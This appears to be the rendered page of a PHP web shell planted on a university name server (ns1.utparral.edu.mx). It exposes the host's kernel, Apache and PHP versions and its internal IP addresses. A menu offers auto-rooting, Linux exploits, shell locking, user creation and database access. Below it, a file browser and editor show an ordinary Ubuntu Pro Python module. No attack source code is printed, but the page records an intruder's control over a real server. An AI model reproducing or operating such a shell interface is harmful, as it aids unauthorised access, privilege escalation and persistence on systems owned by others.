Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
uaclient /
[ HOME SHELL ]
Name
Size
Permission
Action
api
[ DIR ]
drwxr-xr-x
cli
[ DIR ]
drwxr-xr-x
clouds
[ DIR ]
drwxr-xr-x
daemon
[ DIR ]
drwxr-xr-x
entitlements
[ DIR ]
drwxr-xr-x
files
[ DIR ]
drwxr-xr-x
http
[ DIR ]
drwxr-xr-x
messages
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxr-xr-x
timer
[ DIR ]
drwxr-xr-x
actions.py
14.61
KB
-rw-r--r--
apt_news.py
8.39
KB
-rw-r--r--
apt.py
35.77
KB
-rw-r--r--
config.py
18.91
KB
-rw-r--r--
contract_data_types.py
9.89
KB
-rw-r--r--
contract.py
35.58
KB
-rw-r--r--
data_types.py
13.21
KB
-rw-r--r--
defaults.py
3.19
KB
-rw-r--r--
event_logger.py
8.06
KB
-rw-r--r--
exceptions.py
18.2
KB
-rw-r--r--
gpg.py
836
B
-rw-r--r--
__init__.py
0
B
-rw-r--r--
livepatch.py
12.85
KB
-rw-r--r--
lock.py
4.42
KB
-rw-r--r--
log.py
4.9
KB
-rw-r--r--
secret_manager.py
648
B
-rw-r--r--
security_status.py
26.16
KB
-rw-r--r--
snap.py
6.26
KB
-rw-r--r--
status.py
28.53
KB
-rw-r--r--
system.py
28.12
KB
-rw-r--r--
types.py
308
B
-rw-r--r--
update_contract_info.py
1.55
KB
-rw-r--r--
upgrade_lts_contract.py
3.54
KB
-rw-r--r--
util.py
15.45
KB
-rw-r--r--
version.py
2.63
KB
-rw-r--r--
yaml.py
840
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gpg.py
import logging import os import shutil from uaclient import exceptions, util LOG = logging.getLogger(util.replace_top_level_logger_name(__name__)) def export_gpg_key(source_keyfile: str, destination_keyfile: str) -> None: """Copy a specific key from source_keyring_dir into destination_keyfile :param source_keyfile: Path of source keyring file to export. :param destination_keyfile: The filename created with the single exported key. :raise UbuntuProError: Any GPG errors or if specific key does not exist in the source_keyring_file. """ LOG.debug("Exporting GPG key %s", source_keyfile) if not os.path.exists(source_keyfile): raise exceptions.GPGKeyNotFound(keyfile=source_keyfile) shutil.copy(source_keyfile, destination_keyfile) os.chmod(destination_keyfile, 0o644)
Close